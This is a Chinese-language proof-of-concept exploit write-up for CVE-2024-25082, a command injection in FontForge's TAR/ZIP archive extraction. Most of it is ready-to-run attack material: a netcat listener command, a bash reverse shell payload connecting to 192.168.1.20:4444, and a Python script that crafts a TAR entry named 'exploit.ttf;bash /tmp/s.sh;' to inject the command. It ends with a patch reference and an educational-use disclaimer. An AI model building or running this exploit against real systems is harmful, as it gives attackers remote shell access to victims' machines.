针对 FontForge ≤ 20230101(Splinefont 组件)中两个命令注入漏洞的概念验证利用。
| CVE | 攻击向量 | 触发方式 |
|---|---|---|
| CVE-2024-25081 | 构造的文件名 | 直接打开文件 |
| CVE-2024-25082 | 构造的存档文件名 | TAR/ZIP/GZ/BZ2 解压 |
本 PoC 针对 CVE-2024-25082 —— FontForge 的自动存档解压功能未对文件名进行转义处理,直接传入 shell,从而允许嵌入在 TAR 条目名称中的分号分隔载荷执行任意命令。
FontForge 支持直接从存档中打开字体文件。在解压 TAR 存档时,Splinefont 组件使用存档条目中的文件名构造 shell 命令。由于文件名未经转义,条目名称中的分号 (;) 会跳出预期命令并注入任意 shell 指令。
恶意 TAR 条目名称:
exploit.ttf;bash /tmp/s.sh;
当 FontForge 处理这个存档时,shell 将其解释为:
<解压命令> exploit.ttf ; bash /tmp/s.sh ;
192.168.1.20:4444(根据需要调整)tarfile 模块)netcatnc -lvnp 4444
# 写入反弹 shell 载荷
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh
# 构建恶意存档
python3 << 'EOF'
import tarfile, io
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF
fontforge exploit.tar
一个反弹 shell 将会连接回你的监听端。
在 FontForge post-20230101 版本中通过 PR #5367 修复。请升级到最新版本。
sudo apt upgrade fontforge本概念验证(PoC)代码仅供教育和授权渗透测试目的使用。